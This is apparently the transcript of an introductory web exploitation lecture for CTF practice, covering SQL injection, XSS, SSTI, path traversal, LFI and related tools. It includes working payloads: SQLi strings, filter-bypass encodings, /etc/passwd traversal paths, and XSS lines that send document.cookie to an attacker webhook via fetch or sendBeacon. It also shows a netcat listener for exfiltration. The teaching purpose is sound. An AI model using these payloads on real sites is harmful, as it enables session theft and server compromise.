home.. presentations..

Intro to Web Exploitation

web

s/o to tjcsc. much of this content was taken from them.

Transcript:

Intro to Web Security (speedrun pt.2)

Schedule
Basic Web Concepts: OWASP Top 10 Common Files Javascript & the DOM PHP Cookies Web Tokens Vulnerabilities (This is only a few of them) Insecure Direct Object References (IDOR) SQL Injection (SQLi) Command Injection Cross Site Scripting (XSS) Server Side Template Injection (SSTI) Directory Traversal Local File Inclusion (LFI) Remote File Inclusion (RFI) Tools: Burpsuite Gobuster

OWASP Top 10 (you should know these)

OWASP Top 10 The Open Web Application Security Project www.owasp.org OWASP is a not-for-profit worldwide charitable organization focused on improving the security of application software.

“The OWASP Top Ten provides a powerful awareness document for web application security. The OWASP Top Ten represents a broad consensus about what the most critical web application security flaws are.”

https://owasp.org/www-project-top-ten/

Common Files (good for CTFs)

Robots.txt Robots.txt is a file in the website directory that shows which files should show up on a search engine and which shouldn’t. Most websites leave it openly accessible. https://www.google.com/robots.txt A lot of CTFs will place a flag here or place a flag in one of these directories or files

sitemap.xml Lists every page on a website. Designed to help search engines Provides info about the kind of content available and how it can be reached. Sometimes provides info about when individual pages were last updated and how important certain parts of the site are Also is openly accessible https://www.google.com/sitemap.xml

.git/ This one should NOT be there, but CTFs love using it as an example of a bad setup This is the directory for git that provides commit histories the “.” (dot) indicates that it is a hidden folder

.htaccess/ used for an apache web server as a way to configure the details of your website without altering the server configuration files should not be writable by the server, but sometimes is (and can be used for remote code execution)

Javascript & the DOM (not that kind of dom)

DOM Basics Document Object Model Basically a programming interface for web pages Represents a web page as nodes and objects webpage = document DOM = allow document manipulation Can use JS to access & edit the DOM let obj= document.getElementById(‘my_id’) will get element with id: my_id obj.innerText = “Hello” Writes obj’s inner text as “Hello”

DOM Basics pt.2

DOM isn’t only visual stuff! document.location document.cookies Etc. What are some things DOM access allow? Edit information on screen (such as webpage elements) Retrieve [even sensitive] information on screen (such as cookies) So what’s the issue with all this? XSS (more on this later)

PHP (nobody likes this language)

PHP Basics Server side scripting language Runs PHP code that renders directly into HTML PHP code is not visible on front-end

Code in <?php…?> is executed on server and rendered on client $ are variables $_GET[‘param’] Request parameter

Cookies (tasty)

Cookies - Basics Small blocks of data in the form of strings that store info about the client Able to be accessed and changed client side Extensions like EditThisCookie are good for changing values You can also edit straight from your browser devtools btw don’t share your cookies bc you might get your account stolen

Web Tokens

JSON Web Token JWT - JSON Web Token JSON: JavaScript Object Notation Standard to securely transfer data in JSON format Authentication, information access Claim based token: stores user information Allows server to verify information without a database query Defined in RFC 7519 (crypto stuff) Each Token has uses a cryptographic algorithm Can be broken if not implemented properly

JSON Web Token - Structure https://jwt.io/

JWT vs Cookies? The biggest difference between bearer tokens and cookies is that the browser will automatically send cookies, where bearer tokens need to be added explicitly to the HTTP request.

This feature makes cookies a good way to secure websites, where a user logs in and navigates between pages using links.

https://stackoverflow.com/questions/37582444/jwt-vs-cookies-for-token-based-authentication

Vulnerabilities

General ideas Almost every issue here is a result of improper input “sanitization” If a website uses input as-is or does not filter it out properly, we can exploit that

IDOR I 🚪

IDOR IDOR: Insecure Direct Object References

Happens when a developer exposes a reference to an internal object Without an access control check or other protection, attackers can manipulate these references to access unauthorized data Example: http://myserver2.com/scripts/results.jsp?user=25 If the user can change it to “user=10”, then they might be able to access another user’s account

Resources https://portswigger.net/web-security/access-control/idor https://thehackerish.com/idor-tutorial-hands-on-owasp-top-10-training/

SQL Injection (SQLi)

SQL Injection - SQL Basics SQL - Structured Query Language Language that lets you communicate with a database: Think of it like a spreadsheet each sheet is it’s own table A bunch of rows with data There are also “relational” databases with columns in one table that refer to that of another table There are tons of types of SQL, each with its own quirks: SQLite PostgreSQL Oracle MySQL NoSQL MongoDB

Relational Database

Each Box is a table Each line is an attribute

SQL Injection - The Actual SQL

SQL Injection - Attacking Injecting malicious code into SQL databases Occurs when queries aren’t properly escaped SQL Processes commands after it finishes “preprocessing”

What if the someone’s username is admin’–? Since – is a comment, everything after ‘admin’ is ignored

Example I found in the wild

SQL Injection - Attacking (pt.2) We can change what happens here. Enter in an ‘sql injection string’

We can add inject: ‘ OR 1=1– Notice OR 1=1 is always true Also notice our comment (–) greys out the rest of the query

SQL Injection - Advanced Attacks - Union Attack We can extract information by extending results returned from original query Can be used if data type and number of columns are the same for both queries

If your attack meets those requirements, you need to find out: How many columns are being returned in the original query Which columns returned from the original query are of the correct data type to be put into the injected query

SQL Injection - Advanced Attacks - Union Attack (pt.2) You want to be able to check how many columns are in a table when doing a Union Attack Two methods: ORDER BY NULL Selection Increment the number until you get an out of range error. If The ORDER BY position number 3 is out of range, there are two columns. Add more NULLs until you don’t get an error. If the number of nulls does not match the number of columns, the database returns an error.

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

SQL Injection - Advanced Attacks - Blind SQLi

What if the attacker doesn’t directly get the data back from the server? Attacker can use true/false responses to extract data Example: We can bruteforce a value one character at a time using “LIKE”

SQL Injection - Advanced Attacks - Blind SQLi

We can also find the length of an attribute: This means the password length is 27

SQL Injection - Advanced Attacks - Timing Attack

What if the attacker doesn’t directly get the data back from the server? Attacker can use time-based responses to extract data If a condition is met, the response will have a pause MySQL SLEEP(duration_secs) BENCHMARK(count, expression) If the following expression is true, there will be a pause before the server responds:

SQL Injection - Sanitized Characters

Sometimes a developer will try to prevent SQL injection by blocking some inputs We can get around that with some modifications: ‘string’ → hex string space → /**/ – → # OR → ||

SQL Injection - Automation SQLMap Automatic SQL Injection Tool Can (try to) detect database type Can (try to) automatically do injections Can (try to) automatically dump databases There are tons of tools, but this is the main one Other tools do different things… feel free to try them out Don’t use this on the UF network without a VPN They once blocked my account for it

Resources https://portswigger.net/web-security/sql-injection/cheat-sheet https://www.sqlinjection.net/time-based/ https://www.w3schools.com/sql/default.asp https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection https://github.com/sqlmapproject/sqlmap/wiki/Usage

Command Injection (pew pew)

Command Injection - Basics Sometimes a developer will use input on the website as part of a command without sanitizing it Maybe we can inject code? what if we inject a separate command?: INPUT: site.com; echo “command success”

Command Injection - Log Poisoning Often your input will be put into a log somewhere If logs are not properly configured, maybe you can inject code into a logfile and execute it This is how the infamous Log4J worked

Command Injection Examples

Resources https://portswigger.net/web-security/os-command-injection https://owasp.org/www-community/attacks/Command_Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection

Cross Site Scripting (XSS)

XSS An exploit where we execute JS into a user’s webpage If we can access JS - we can probably access the DOM We can control displayed content (phish users?) We can access secret information (steal a user’s session from their cookies?) Some real world examples A Self-Retweeting Tweet Getting a boatload of MySpace friends In our quest to execute malicious code, we often test with alert(1);

How does it work? Often categorized three ways: Reflected XSS A payload is attached to a request Stored XSS A payload is stored server-side (database) DOM XSS A payload executed through insecure client-side code

Reflected XSS Our exploit payload is embedded within our HTTP query, and is not sanitized https://buggy-website/showtext?=superigamerbeanwafflemcpe

Hello superigamerbeanwafflemcpe

https://buggy-website/showtext?=

Hello

Our JS now executed a neat little popup dialog, saying the website origin We can do much worse! Often in CTF challs, we steal cookies (document.cookie) So how do users get exploited? The malicious scripts run when the user opens the link

Stored XSS We store an unsanitized script into the backend - later executed on a user Sending payloads to forums, chats, etc. Anytime our payload is delivered to a user, they run our script https://gruuuuu.github.io/security/xss/

DOM XSS Example document.write doesn’t sanitize or escape characters, we can inject our own DOM elements name=? will write our script to the document, resulting in a dialog box

DOM XSS Attack where we utilize unsafe original client-side code to run JS We take data unsanitized from a source i.e. location.search We execute that data from a sink i.e. eval() Woah that source is the URL - isn’t this Reflected XSS? Nope, Reflected and Stored XSS are defined by a failure to sanitize by the server DOM XSS is caused by purely original client-side code

DOM XSS Sources & Sinks Sources: entry points for our payload location location.href location.search Sinks: execution points for our payload eval() element.innerHTML document.write Nice little spreadsheet of more examples

Payloads! What to do after establishing JS injection - alert(origin)? Maybe we need to send ourselves data https://webhook.site/ https://requestbin.io/
Ok, what data do I send? More often than not in CTFs, you try to get the cookies (document.cookie) The flag may be in the cookie You may steal the admin’s session There may be more to do!

Payloads! Cont. Ok now I know where to send things, and what to send, but how do I send it? Through JS functions that send web requests, of course! Redirect: window.location = MY_WEBHOOK + document.cookie Fetch: fetch(MY_WEBHOOK + document.cookie) sendBeacon: navigator.sendBeacon(MY_WEBHOOK, document.cookie) Now check your webhook site for any requests that may contain whatever retrieved information!

When <svg onload=”alert(origin)”> <input onfocus=”alert(origin)” autofocus=””></input> More Alternative Payloads

When nothing you try works Give up> never give up! If it’s due to a sanitizer, try to find holes in the implementation Sanitizer could not be case sensitive (so input

Resources https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection https://portswigger.net/web-security/cross-site-scripting https://owasp.org/www-community/attacks/xss/

Server Side Template Injection (SSTI)

SSTI - Basics A lot of engines have “templating” Webpages are dynamically generated Common templating engines (these are all python) PHP – Smarty, Twigs Java – Velocity, Freemaker, Python – Jinja, Mako, Tornado, Flask, Twig JavaScript – Jade, Rage Ruby – Liquid

SSTI - Fingerprinting First, we have to figure out what the site is running When we input , Twig would output 49, while Jinja2/Flask output 7777777

SSTI - Exploitation We can figure out the config info in flask

Example from CTF:

SSTI - Exploitation (pt.2) Fun fact: python runs its code using python This means: even if we are not allowed to import a module (eg. os, sys…), we can still use them

SSTI - How does it work?

SSTI - Conditional Templating

Flask also has conditional templates

The above injection can be used when the website doesn’t display output. This sends the flag to a listener on your computer, which we can set up like this: nc -lvnp 4444

SSTI - How does it work?

SSTI - More

There is A LOT more to this:

I have a writeup on a ton of Flask SSTI techniques if you’re interested: https://github.com/Adamkadaban/CTFs/tree/master/SSTI_Labs

SSTI - Automation

Tplmap Automated SSTI Detection and Exploitation Tool https://github.com/epinna/tplmap Has a Burpsuite plugin tplmap -u www.vulnwebsite.com

Resources https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection https://portswigger.net/research/server-side-template-injection https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection

Directory Traversal ../../../../../etc/passwd

Directory Traversal Basics When you host a website, there are files, folders, and resources. Often put in the /var/www/html folder on a computer

In a terminal or command line, .. Lets you go to a previous directory Thus, we can type /../../../ until we get to the root directory of a website. Now we have access to all the files.

Ex. If we have a website that’s on site.com/page If misconfigured, we can write site.com/../../../../etc/passwd (the number of times you put /.. Depends on the folder hierarchy.) Now, we have access to the passwd file on the linux system

Resources https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal https://portswigger.net/web-security/file-path-traversal

Local File Inclusion (LFI)

LFI - Basics LFI - Local File Inclusion Unauthorized access to files on the website server Building a path to sensitive files Unsanitized user-inputs and accepted parameters foo.php?file=image.jpg foo.php?file=about.php Inject path traversal (remember this?) into parameter to find sensitive files foo.php?file=../../../../../../../etc/passwd foo.php?file=flag.txt foo.php?file=secret.txt

LFI - Example

LFI - Bypassing Filters Developers will often try to filter out bad characters (‘/’, ‘.’, ‘%’) Sometimes they don’t do it well Encoding of “.” and “/” Double encoding index.php?page=%252e%252e%252fetc%252fpasswd UTF-8 Encoding index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd Hex Encoding - “../” = %2E%2E%2f %2f = “/” Replacing “../” Use ….//….//etc/passwd/ Multiple “.” and “/” in a row Null byte trick (this is common even today) “.php” added to parameter In PHP versions 5.4.3 add %00 to end of parameter string Path and Dot truncation Filenames longer than 4096 bytes are truncated index.php?page=../../../etc/passwd…………[add more]

Resources https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion https://resources.infosecinstitute.com/topic/null-byte-injection-php/ https://www.php.net/manual/en/wrappers.php https://shahrukhathar.info/local-file-inclusion-lfi-cheat-sheet/

Remote File Inclusion (RFI)

Remote File Inclusion Sometimes you can upload a file and have it executed Common Example: If a page lets you upload any file and view it’s raw contents, you can upload a PHP script and view (run) the script. Upload a reverse shell or webshell

Resources https://www.imperva.com/learn/application-security/rfi-remote-file-inclusion/ https://www.cobalt.io/blog/a-pentesters-guide-to-file-inclusion

Tools

Burpsuite

Network Basics URL → GET request, asks for data POST request, sends data Could also send cookies and other client information

RESPONSE → Information about the server, validity of request, etc

GET Requests The following is a get request to the “user” and “password” parameters (this is not actually how user and password are sent) https://site.com/?user=adam&password=test123

POST Requests POST Requests are made differently You can do them manually with cURL, wget, burpsuite, postman…

Burpsuite Made by portswigger More advanced version of your devtools networking tab:

Burpsuite - Proxy You can use a “proxy” to intercept requests

Burpsuite - Repeater You can then send the request to the “repeater” to modify and resend the requests

Burpsuite - More There’s a ton more features: URL encoding/decoding Logging Login Form bruteforce Vulnerability scanning Fuzzing & Directory scanning Some of these cost money or aren’t that good You basically only need the proxy + repeater + encode/decode features We can use other tools for other needs

Resources https://portswigger.net/burp/documentation/desktop/penetration-testing https://www.youtube.com/watch?v=G3hpAeoZ4ek https://www.w3schools.com/tags/ref_httpmessages.asp https://www.w3schools.com/tags/ref_httpmethods.asp

Gobuster (the best)

Gobuster - Intro Gobuster has a ton of utilities: dir, dns, fuzz, s3, vhost

Gobuster - Directory Scanning We can use gobuster “dir” mode along with a wordlist of potential directory names to locate directories on a website Works by default using HTTP response codes (404 bad, others good)

Gobuster - Subdomain Discovery We can use gobuster “vhost” mode along with a wordlist of potential subdomains to locate them on a website –append-domain makes sure it looks for “mail.google.com” instead of just “mail”

Gobuster - Fuzzing We can use gobuster “fuzz” mode along with a wordlist of potential names to locate subdomains, directories, api things… replaces the word FUZZ with the wordist entry

Resources https://hackertarget.com/gobuster-tutorial/ https://github.com/OJ/gobuster

Closing Thoughts

Practice! There’s a lot of stuff involved in web exploitation I’m personally not that good at it, but these are the basics + some of the most useful info you’ll need to know Here’s some good places to practice: https://tryhackme.com/hacktivities https://play.picoctf.org/practice?category=1

© 2024 Adam Hassan